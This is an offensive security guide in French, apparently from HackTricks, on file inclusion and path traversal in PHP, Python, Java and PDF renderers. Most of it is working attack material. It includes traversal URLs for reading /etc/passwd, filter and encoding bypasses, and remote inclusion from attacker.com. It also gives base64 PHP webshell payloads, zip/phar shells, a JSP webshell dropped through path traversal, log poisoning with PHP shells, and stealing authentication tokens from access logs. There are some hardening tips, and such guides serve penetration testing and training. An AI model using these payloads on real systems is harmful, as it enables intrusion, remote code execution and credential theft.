File Inclusion/Path traversal
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- VĂ©rifiez les plans dâabonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
File Inclusion
Remote File Inclusion (RFI): Le fichier est chargĂ© depuis un serveur distant (IdĂ©al : vous pouvez Ă©crire le code et le serveur lâexĂ©cutera). En php ceci est dĂ©sactivĂ© par dĂ©faut (allow_url_include).
Local File Inclusion (LFI): Le serveur charge un fichier local.
La vulnĂ©rabilitĂ© se produit lorsque lâutilisateur peut dâune maniĂšre ou dâune autre contrĂŽler le fichier que le serveur va charger.
Fonctions PHP vulnérables : require, require_once, include, include_once
Un outil intéressant pour exploiter cette vulnérabilité : https://github.com/kurobeats/fimap
Blind - Interesting - LFI2RCE files
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
*En mĂ©langeant plusieurs listes nix LFI et en ajoutant dâautres chemins, jâai créé celle-ci :
Essayez aussi de remplacer / par \
Essayez aussi dâajouter ../../../../../
Une liste qui utilise plusieurs techniques pour trouver le fichier /etc/password (pour vĂ©rifier si la vulnĂ©rabilitĂ© existe) peut ĂȘtre trouvĂ©e ici
Windows
Fusion de différentes wordlists:
Essayez aussi de remplacer / par \
Essayez aussi de retirer C:/ et dâajouter ../../../../../
Une liste qui utilise plusieurs techniques pour trouver le fichier /boot.ini (pour vĂ©rifier si la vulnĂ©rabilitĂ© existe) peut ĂȘtre trouvĂ©e ici
OS X
Consultez la liste LFI de Linux.
LFI de base et contournements
Tous les exemples sont pour Local File Inclusion mais pourraient aussi ĂȘtre appliquĂ©s Ă Remote File Inclusion (page=http://myserver.com/phpshellcode.txt\.
http://example.com/index.php?page=../../../etc/passwd
traversal sequences stripped non-recursively
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Null byte (%00)
Bypass lâajout de caractĂšres en fin de la chaĂźne fournie (bypass of: $_GET[âparamâ].âphpâ)
http://example.com/index.php?page=../../../etc/passwd%00
Ceci est résolu depuis PHP 5.4
Encodage
Vous pouvez utiliser des encodages non standard comme double URL encode (et dâautres) :
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
HTML-to-PDF SVG/IMG path traversal
Les moteurs modernes HTML-to-PDF (p. ex. TCPDF ou des wrappers tels que html2pdf) analysent sans problĂšme du HTML, SVG, CSS et des URL de polices fournis par un attaquant, et sâexĂ©cutent cependant Ă lâintĂ©rieur de rĂ©seaux backend de confiance avec accĂšs au systĂšme de fichiers. Une fois que vous pouvez injecter du HTML dans $pdf->writeHTML()/Html2Pdf::writeHTML(), vous pouvez souvent exfiltrer des fichiers locaux que le compte du serveur web peut lire.
- Fingerprint the renderer: chaque PDF généré contient un champ
Producer(p. ex.TCPDF 6.8.2). ConnaĂźtre la build exacte vous indique quels filtres de chemin existent et si le dĂ©codage URL sâeffectue avant la validation. - Inline SVG payloads:
TCPDF::startSVGElementHandler()lit lâattributxlink:hrefdes Ă©lĂ©ments<image>avant dâexĂ©cuterurldecode(). Incorporer un SVG malveillant dans une data URI fait que de nombreux HTML sanitizers ignorent le payload tandis que TCPDF le parse toujours :
<img src="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxpbWFnZSB4bGluazpocmVmPSIuLi8uLi8uLi8uLi8uLi90bXAvdXNlcl9maWxlcy91c2VyXzEvcHJpdmF0ZV9pbWFnZS5wbmciIGhlaWdodD0iMTAwJSIgd2lkdGg9IjEwMCUiLz48L3N2Zz4=" />
TCPDF prĂ©fixe $_SERVER['DOCUMENT_ROOT'] aux chemins commençant par / et ne rĂ©sout .. quâensuite, donc utilisez soit des segments initiaux ../../.., soit /../../.. pour sortir de la racine aprĂšs le prĂ©fixe.
- Encodage pour contourner des filtres naĂŻfs : Les versions â€6.8.2 ne vĂ©rifient que la sous-chaĂźne littĂ©rale
../avant le dĂ©codage de lâURL. Envoyer..%2f(ou..%2F) dans le SVG ou dans un attribut<img src>brut contourne la vĂ©rification, car la sĂ©quence de traversĂ©e../nâest recréée quâaprĂšs que TCPDF appelleurldecode(). - Double-encodage pour dĂ©codage en plusieurs Ă©tapes : Si lâentrĂ©e utilisateur est dĂ©codĂ©e par le framework web et par TCPDF, double-encodez la barre oblique (
%252f). Un dĂ©codage la transforme en%2f, le second dĂ©codage dans TCPDF la transforme en/, produisant/..%252f..%252f..â/../../../âŠsans jamais afficher../au filtre prĂ©coce. - Gestionnaire HTML
<img>:TCPDF::openHTMLTagHandler()contient le mĂȘme bug dâordre dâopĂ©rations, permettant des payloads HTML directs tels quesrc="%2f..%252f..%252ftmp%252fsecret.png"pour lire nâimporte quel bitmap localement accessible.
Cette technique leaks tout ce qui est lisible par le PDF worker (scans de passeport, clĂ©s API rendues en images, etc.). Les hardeners lâont corrigĂ©e dans la version 6.9.1 en canonisant les chemins (isRelativePath()), donc lors des tests privilĂ©giez les versions Producer plus anciennes.
Depuis un dossier existant
Il se peut que le back-end vérifie le chemin du dossier :
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
Explorer les répertoires du systÚme de fichiers sur un serveur
Le systĂšme de fichiers dâun serveur peut ĂȘtre explorĂ© de maniĂšre rĂ©cursive pour identifier des rĂ©pertoires, pas seulement des fichiers, en utilisant certaines techniques. Ce processus consiste Ă dĂ©terminer la profondeur des rĂ©pertoires et Ă sonder lâexistence de dossiers spĂ©cifiques. Voici une mĂ©thode dĂ©taillĂ©e pour y parvenir :
- Déterminer la profondeur des répertoires : Déterminez la profondeur de votre répertoire courant en récupérant avec succÚs le fichier
/etc/passwd(applicable si le serveur est basĂ© sur Linux). Un exemple dâURL peut ĂȘtre structurĂ© comme suit, indiquant une profondeur de trois :
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- Probe for Folders: Ajoutez le nom du dossier suspect (par ex.,
private) Ă lâURL, puis revenez Ă/etc/passwd. Le niveau de rĂ©pertoire supplĂ©mentaire nĂ©cessite dâaugmenter la profondeur dâun niveau :
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
- Interprétez les résultats : La réponse du serveur indique si le dossier existe :
- Erreur / Pas de sortie : Le dossier
privatenâexiste probablement pas Ă lâemplacement spĂ©cifiĂ©. - Contenu de
/etc/passwd: La présence du dossierprivateest confirmée.
- Exploration rĂ©cursive : Les dossiers dĂ©couverts peuvent ĂȘtre sondĂ©s plus en profondeur pour des sous-rĂ©pertoires ou des fichiers en utilisant la mĂȘme technique ou les mĂ©thodes traditionnelles de Local File Inclusion (LFI).
Pour explorer des répertoires à différents emplacements du systÚme de fichiers, ajustez le payload en conséquence. Par exemple, pour vérifier si /var/www/ contient un répertoire private (en supposant que le répertoire courant est à une profondeur de 3), utilisez :
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
Path Truncation Technique
Path truncation est une mĂ©thode utilisĂ©e pour manipuler les chemins de fichiers dans les applications web. Elle est souvent employĂ©e pour accĂ©der Ă des fichiers restreints en contournant certaines mesures de sĂ©curitĂ© qui ajoutent des caractĂšres supplĂ©mentaires Ă la fin des chemins. Lâobjectif est de construire un chemin de fichier qui, une fois altĂ©rĂ© par la mesure de sĂ©curitĂ©, pointe toujours vers le fichier souhaitĂ©.
En PHP, diffĂ©rentes reprĂ©sentations dâun chemin de fichier peuvent ĂȘtre considĂ©rĂ©es comme Ă©quivalentes en raison de la nature du systĂšme de fichiers. Par exemple:
/etc/passwd,/etc//passwd,/etc/./passwd, and/etc/passwd/are all treated as the same path.- Lorsque les 6 derniers caractĂšres sont
passwd, ajouter un/(ce qui donnepasswd/) ne change pas le fichier ciblĂ©. - De mĂȘme, si
.phpest ajoutĂ© Ă un chemin de fichier (commeshellcode.php), ajouter un/.Ă la fin nâaltĂ©rera pas le fichier accĂ©dĂ©.
Les exemples fournis montrent comment utiliser path truncation pour accéder à /etc/passwd, une cible fréquente en raison de son contenu sensible (informations relatives aux comptes utilisateurs) :
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
Dans ces scĂ©narios, le nombre de traversals nĂ©cessaires peut ĂȘtre dâenviron 2027, mais ce nombre peut varier en fonction de la configuration du serveur.
- Using Dot Segments and Additional Characters : Les sequences de traversal (
../) combinĂ©es avec des segments de points supplĂ©mentaires et des caractĂšres peuvent ĂȘtre utilisĂ©es pour naviguer dans le systĂšme de fichiers, en ignorant efficacement les chaĂźnes ajoutĂ©es par le serveur. - Determining the Required Number of Traversals : Par essais et erreurs, on peut trouver le nombre prĂ©cis de sĂ©quences
../nĂ©cessaires pour atteindre la racine puis/etc/passwd, en sâassurant que toute chaĂźne ajoutĂ©e (comme.php) est neutralisĂ©e mais que le chemin dĂ©sirĂ© (/etc/passwd) reste intact. - Starting with a Fake Directory : Il est courant de commencer le chemin par un rĂ©pertoire non existant (comme
a/). Cette technique est utilisĂ©e comme mesure de prĂ©caution ou pour satisfaire les exigences de la logique dâanalyse des chemins du serveur.
When employing path truncation techniques, itâs crucial to understand the serverâs path parsing behavior and filesystem structure. Each scenario might require a different approach, and testing is often necessary to find the most effective method.
Cette vulnérabilité a été corrigée dans PHP 5.3.
Filter bypass tricks
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
Remote File Inclusion
Dans php ceci est dĂ©sactivĂ© par dĂ©faut car allow_url_include est Off. Il doit ĂȘtre On pour que cela fonctionne, et dans ce cas vous pourriez inclure un fichier PHP depuis votre serveur et obtenir RCE:
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
Si, pour une raison quelconque, allow_url_include est activĂ©, mais que PHP filtre lâaccĂšs aux pages web externes, selon ce post, vous pouvez par exemple utiliser le protocole data avec base64 pour dĂ©coder un code PHP b64 et obtenir RCE :
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
Tip
Dans le code précédent, le
+.txtfinal a Ă©tĂ© ajoutĂ© parce que lâattaquant avait besoin dâune chaĂźne se terminant par.txt, donc la chaĂźne se termine par cela et aprĂšs le b64 decode cette partie ne renverra que des donnĂ©es inutiles et le vrai code PHP sera inclus (et donc exĂ©cutĂ©).
Un autre exemple nâutilisant pas le protocole php:// serait :
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
Python ĂlĂ©ment racine
En Python, dans un code comme celui-ci :
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
Si lâutilisateur passe un absolute path Ă file_name, le chemin prĂ©cĂ©dent est simplement supprimĂ© :
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
Câest le comportement prĂ©vu selon the docs:
If a component is an absolute path, all previous components are thrown away and joining continues from the absolute path component.
Java : lister les répertoires
Il semble que si vous avez un Path Traversal en Java et que vous demandez un rĂ©pertoire au lieu dâun fichier, un listing du rĂ©pertoire est renvoyĂ©. Cela ne se produit pas dans dâautres langages (afaik).
Top 25 paramĂštres
Voici la liste des 25 principaux paramĂštres qui pourraient ĂȘtre vulnĂ©rables Ă local file inclusion (LFI) (source : link):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
LFI / RFI utilisant les wrappers & protocoles PHP
php://filter
Les filtres PHP permettent dâeffectuer des opĂ©rations de modification sur les donnĂ©es avant quâelles ne soient lues ou Ă©crites. Il existe 5 catĂ©gories de filtres :
- String Filters:
string.rot13string.toupperstring.tolowerstring.strip_tags: Supprime les balises des donnĂ©es (tout ce qui se trouve entre les caractĂšres â<â et â>â)- Notez que ce filtre a disparu des versions modernes de PHP
- Conversion Filters
convert.base64-encodeconvert.base64-decodeconvert.quoted-printable-encodeconvert.quoted-printable-decodeconvert.iconv.*: Transforme vers un encodage différent (convert.iconv.<input_enc>.<output_enc>). Pour obtenir la liste de tous les encodages supportés, exécutez dans la console :iconv -l
Warning
En abusant du filtre de conversion
convert.iconv.*vous pouvez gĂ©nĂ©rer du texte arbitraire, ce qui peut ĂȘtre utile pour Ă©crire du texte arbitraire ou faire en sorte quâune fonction comme include traite du texte arbitraire. Pour plus dâinfos check LFI2RCE via php filters.
- Compression Filters
zlib.deflate: Compresse le contenu (utile si vous exfiltrez beaucoup dâinformations)zlib.inflate: DĂ©compresse les donnĂ©es- Encryption Filters
mcrypt.*: ObsolĂštemdecrypt.*: ObsolĂšte- Other Filters
- En exécutant dans php
var_dump(stream_get_filters());vous pouvez trouver quelques filtres inattendus : consumeddechunk: inverse lâencodage HTTP chunkedconvert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,ÂŁhellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
Warning
La partie âphp://filterâ est insensible Ă la casse
Using php filters as oracle to read arbitrary files
In this post est proposĂ©e une technique pour lire un fichier local sans que la sortie soit renvoyĂ©e par le serveur. Cette technique est basĂ©e sur une boolean exfiltration of the file (char by char) using php filters comme oracle. Ceci parce que php filters peuvent ĂȘtre utilisĂ©s pour rendre un texte suffisamment long pour provoquer une exception php.
Dans lâarticle original vous trouverez une explication dĂ©taillĂ©e de la technique, mais voici un rĂ©sumĂ© rapide :
- Utilisez le codec
UCS-4LEpour laisser le caractÚre initial du texte au début et faire augmenter la taille de la chaßne de façon exponentielle. - Ceci sera utilisé pour générer un texte tellement grand lorsque la lettre initiale est devinée correctement que php déclenchera une erreur
- Le filtre dechunk supprimera tout si le premier char nâest pas un hexadecimal, ainsi nous pouvons savoir si le premier char est hex.
- Cela, combinĂ© avec le prĂ©cĂ©dent (et dâautres filters selon la lettre devinĂ©e), permettra de deviner une lettre au beginning du texte en observant quand nous appliquons suffisamment de transformations pour la faire sortir de la plage hexadĂ©cimale. Parce que si hex, dechunk ne la supprimera pas et la bombe initiale provoquera une erreur php.
- Le codec convert.iconv.UNICODE.CP930 transforme chaque lettre en la suivante (donc aprÚs ce codec : a -> b). Cela nous permet de découvrir si la premiÚre lettre est un
apar exemple, car si nous appliquons 6 fois ce codec a->b->c->d->e->f->g la lettre nâest plus un caractĂšre hexadecimal, donc dechunk ne la supprime pas et lâerreur php est dĂ©clenchĂ©e car elle se multiplie avec la bombe initiale. - En utilisant dâautres transformations comme rot13 au dĂ©but, il est possible de leak dâautres chars comme n, o, p, q, r (et dâautres codecs peuvent ĂȘtre utilisĂ©s pour dĂ©placer dâautres lettres dans la plage hex).
- Quand le premier char est un nombre il est nĂ©cessaire de lâencoder en base64 et de leak les 2 premiĂšres lettres pour leak le nombre.
- Le problĂšme final est de voir comment leak plus que la lettre initiale. En utilisant des filtres dâordre mĂ©moire comme convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE il est possible de changer lâordre des chars et dâamener en premiĂšre position dâautres lettres du texte.
- Et afin de pouvoir obtenir further data lâidĂ©e est de gĂ©nĂ©rer 2 bytes de junk data at the beginning avec convert.iconv.UTF16.UTF16, appliquer UCS-4LE pour le faire pivot with the next 2 bytes, et delete the data until the junk data (cela supprimera les 2 premiers bytes du texte initial). Continuez ainsi jusquâĂ atteindre le bit dĂ©sirĂ© Ă leak.
Dans lâarticle un outil pour effectuer cela automatiquement a Ă©galement Ă©tĂ© leaked : php_filters_chain_oracle_exploit.
php://fd
This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
Vous pouvez Ă©galement utiliser php://stdin, php://stdout and php://stderr pour accĂ©der aux descripteurs de fichier 0, 1 et 2 respectivement (je ne vois pas trop comment cela pourrait ĂȘtre utile dans une attaque)
zip:// and rar://
Téléversez un fichier Zip ou Rar contenant un PHPShell et accédez-y.
Pour pouvoir abuser du rar protocol, il doit ĂȘtre activĂ© spĂ©cifiquement.
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Notez que ce protocole est restreint par les configurations php allow_url_open et allow_url_include
expect://
Expect doit ĂȘtre activĂ©. Vous pouvez exĂ©cuter du code en utilisant ceci :
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
input://
Spécifiez votre payload dans les paramÚtres POST :
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
phar://
Un fichier .phar peut ĂȘtre utilisĂ© pour exĂ©cuter du code PHP lorsquâune application web utilise des fonctions telles que include pour le chargement de fichiers. Lâextrait de code PHP ci-dessous montre la crĂ©ation dâun fichier .phar :
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
Pour compiler le fichier .phar, la commande suivante doit ĂȘtre exĂ©cutĂ©e :
php --define phar.readonly=0 create_path.php
Ă lâexĂ©cution, un fichier nommĂ© test.phar sera créé, qui pourrait potentiellement ĂȘtre utilisĂ© pour exploiter des vulnĂ©rabilitĂ©s de Local File Inclusion (LFI).
Dans les cas oĂč le LFI ne fait que lire des fichiers sans exĂ©cuter le code PHP Ă lâintĂ©rieur, via des fonctions telles que file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime() ou filesize(), on peut tenter dâexploiter une vulnĂ©rabilitĂ© de dĂ©sĂ©rialisation. Cette vulnĂ©rabilitĂ© est associĂ©e Ă la lecture de fichiers en utilisant le protocole phar.
For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar files, refer to the document linked below:
Phar Deserialization Exploitation Guide
CVE-2024-2961
Il Ă©tait possible dâabuser de any arbitrary file read from PHP that supports php filters pour obtenir une RCE. The detailed description can be found in this post.
TrĂšs bref rĂ©sumĂ© : un 3 byte overflow dans le heap PHP a Ă©tĂ© exploitĂ© pour alter the chain of free chunks dâune taille spĂ©cifique afin de pouvoir write anything in any address, si bien quâun hook a Ă©tĂ© ajoutĂ© pour appeler system.
Il a Ă©tĂ© possible dâallouer des chunks de tailles spĂ©cifiques en abusant de davantage de php filters.
Autres protocoles
Consultez davantage de protocols to include here:
- php://memory and php://temp â Ăcrire en mĂ©moire ou dans un fichier temporaire (not sure how this can be useful in a file inclusion attack)
- file:// â AccĂšs au systĂšme de fichiers local
- http:// â AccĂšs aux URLs HTTP(s)
- ftp:// â AccĂšs aux URLs FTP(s)
- zlib:// â Flux de compression
- glob:// â Trouver des chemins correspondant Ă un motif (Cela ne renvoie rien dâimprimable, donc pas vraiment utile ici)
- ssh2:// â Secure Shell 2
- ogg:// â Flux audio (Not useful to read arbitrary files)
LFI via la fonction âassertâ de PHP
Les risques de Local File Inclusion (LFI) en PHP sont particuliĂšrement Ă©levĂ©s lors de lâutilisation de la fonction âassertâ, qui peut exĂ©cuter du code contenu dans des chaĂźnes. Cela est particuliĂšrement problĂ©matique si une entrĂ©e contenant des caractĂšres de directory traversal comme â..â est vĂ©rifiĂ©e mais pas correctement assainie.
Par exemple, du code PHP pourrait ĂȘtre conçu pour empĂȘcher directory traversal comme suit :
assert("strpos('$file', '..') === false") or die("");
Bien que cela vise Ă empĂȘcher la traversal, cela crĂ©e involontairement un vecteur pour code injection. Pour exploiter cela afin de lire le contenu de fichiers, un attaquant pourrait utiliser :
' and die(highlight_file('/etc/passwd')) or '
De mĂȘme, pour exĂ©cuter des commandes systĂšme arbitraires, on peut utiliser :
' and die(system("id")) or '
Il est important dâURL-encoder ces payloads.
PHP Blind Path Traversal
Warning
Cette technique est pertinente dans les cas oĂč vous contrĂŽlez le file path dâune PHP function qui access a file mais dont vous ne verrez pas le contenu (comme un simple appel Ă
file()) et oĂč le contenu nâest pas affichĂ©.
Dans this incredible post il est expliquĂ© comment un blind path traversal peut ĂȘtre abusĂ© via PHP filter pour exfiltrate the content of a file via an error oracle.
En rĂ©sumĂ©, la technique utilise lâencodage âUCS-4LEâ pour rendre le contenu dâun fichier tellement volumineux que la PHP function opening le fichier dĂ©clenchera une erreur.
Ensuite, pour leak le premier char le filter dechunk est utilisĂ© avec dâautres tels que base64 ou rot13 et enfin les filtres convert.iconv.UCS-4.UCS-4LE et convert.iconv.UTF16.UTF-16BE sont utilisĂ©s pour placer dâautres chars au beginning et les leak.
Functions that might be vulnerable: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs
For the technical details check the mentioned post!
LFI2RCE
Arbitrary File Write via Path Traversal (Webshell RCE)
When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, .. segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell.
Typical exploitation workflow:
- Identifier un write primitive dans un endpoint ou background worker qui accepte un path/filename et écrit du contenu sur le disque (par ex., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
- Déterminer les répertoires exposés au web. Exemples courants :
- Apache/PHP:
/var/www/html/ - Tomcat/Jetty:
<tomcat>/webapps/ROOT/â dropshell.jsp - IIS:
C:\inetpub\wwwroot\â dropshell.aspx - Construire un traversal path qui sâĂ©chappe du rĂ©pertoire de stockage prĂ©vu vers le webroot, et inclure le contenu de votre webshell.
- Accéder via navigateur au payload placé et exécuter des commandes.
Notes:
- Le service vulnĂ©rable qui effectue lâĂ©criture peut Ă©couter sur un port non-HTTP (par ex., un JMF XML listener sur TCP 4004). Le portail web principal (port diffĂ©rent) servira ensuite votre payload.
- Sur les stacks Java, ces écritures de fichiers sont souvent implémentées avec une simple concaténation
File/Paths. Lâabsence de canonicalisation/allow-listing est la faille principale.
Exemple gĂ©nĂ©rique de style XML/JMF (product schemas vary â the DOCTYPE/body wrapper is irrelevant for the traversal):
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>
Mesures de durcissement qui neutralisent cette classe de failles :
- RĂ©soudre vers un chemin canonique et vĂ©rifier quâil est un descendant dâun rĂ©pertoire de base sur liste blanche.
- Refuser tout chemin contenant
.., des racines absolues, ou des lettres de lecteur ; prĂ©fĂ©rer des noms de fichiers gĂ©nĂ©rĂ©s. - ExĂ©cuter le processus dâĂ©criture avec un compte peu privilĂ©giĂ© et sĂ©parer les rĂ©pertoires dâĂ©criture des racines servies.
Remote File Inclusion
Expliqué précédemment, follow this link.
Via Apache/Nginx log file
Si le serveur Apache ou Nginx est vulnĂ©rable Ă LFI dans la fonction include, vous pouvez essayer dâaccĂ©der Ă /var/log/apache2/access.log or /var/log/nginx/access.log, dâĂ©crire dans le user agent ou dans un GET parameter une php shell comme <?php system($_GET['c']); ?> et dâinclure ce fichier
Warning
Notez que si vous utilisez des double quotes pour le shell au lieu de simple quotes, les double quotes seront modifiĂ©es en la chaĂźne âquote;â, PHP dĂ©clenchera une erreur Ă cet endroit et rien dâautre ne sera exĂ©cutĂ©.
Assurez-vous Ă©galement dâĂ©crire correctement le payload sinon PHP renverra une erreur Ă chaque tentative de chargement du fichier de logs et vous nâaurez pas de seconde opportunitĂ©.
Cela peut aussi ĂȘtre fait dans dâautres logs mais faites attention, le code Ă lâintĂ©rieur des logs peut ĂȘtre encodĂ© en URL et cela peut casser le Shell. Le header authorisation âbasicâ contient âuser:passwordâ en Base64 et il est dĂ©codĂ© dans les logs. Le PHPShell peut ĂȘtre insĂ©rĂ© dans cet header.
Autres chemins de logs possibles:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
Lire les access logs pour récupérer des auth tokens basés sur GET (token replay)
Beaucoup dâapps acceptent par erreur des session/auth tokens via GET (e.g., AuthenticationToken, token, sid). Si vous disposez dâun path traversal/LFI dans les logs du web server, vous pouvez voler ces tokens depuis les access logs et les replay pour bypasser complĂštement lâauthentication.
How-to:
- Use the traversal/LFI to read the web server access log. Common locations:
- /var/log/apache2/access.log, /var/log/httpd/access_log
- /var/log/nginx/access.log
- Some endpoints return file reads Base64-encoded. If so, decode locally and inspect the log lines.
- Grep for GET requests that include a token parameter and capture its value, then replay it against the application entry point.
Example flow (generic):
GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target
DĂ©coder le body sâil est en Base64, puis rejouer un token capturĂ© :
GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target
Remarques :
- Tokens dans les URLs sont enregistrĂ©s par dĂ©faut ; nâacceptez jamais de bearer tokens via GET sur des systĂšmes de production.
- Si lâapp supporte plusieurs noms de token, recherchez des clĂ©s communes comme AuthenticationToken, token, sid, access_token.
- Renouvelez tous les tokens qui ont pu leaked dans les logs.
Par e-mail
Envoyez un mail Ă un compte interne (user@localhost) contenant votre payload PHP comme <?php echo system($_REQUEST["cmd"]); ?> et essayez de lâinclure dans le mail de lâutilisateur avec un chemin comme /var/mail/<USERNAME> ou /var/spool/mail/<USERNAME>
Via /proc//fd/
- Téléversez beaucoup de shells (par exemple : 100)
- Inclure http://example.com/index.php?page=/proc/$PID/fd/$FD, avec $PID = PID du processus (peut ĂȘtre forcĂ© par brute force) et $FD le descripteur de fichier (peut aussi ĂȘtre forcĂ© par brute force)
Via /proc/self/environ
Comme un fichier de log, envoyez le payload dans le User-Agent, il sera reflĂ©tĂ© Ă lâintĂ©rieur du fichier /proc/self/environ
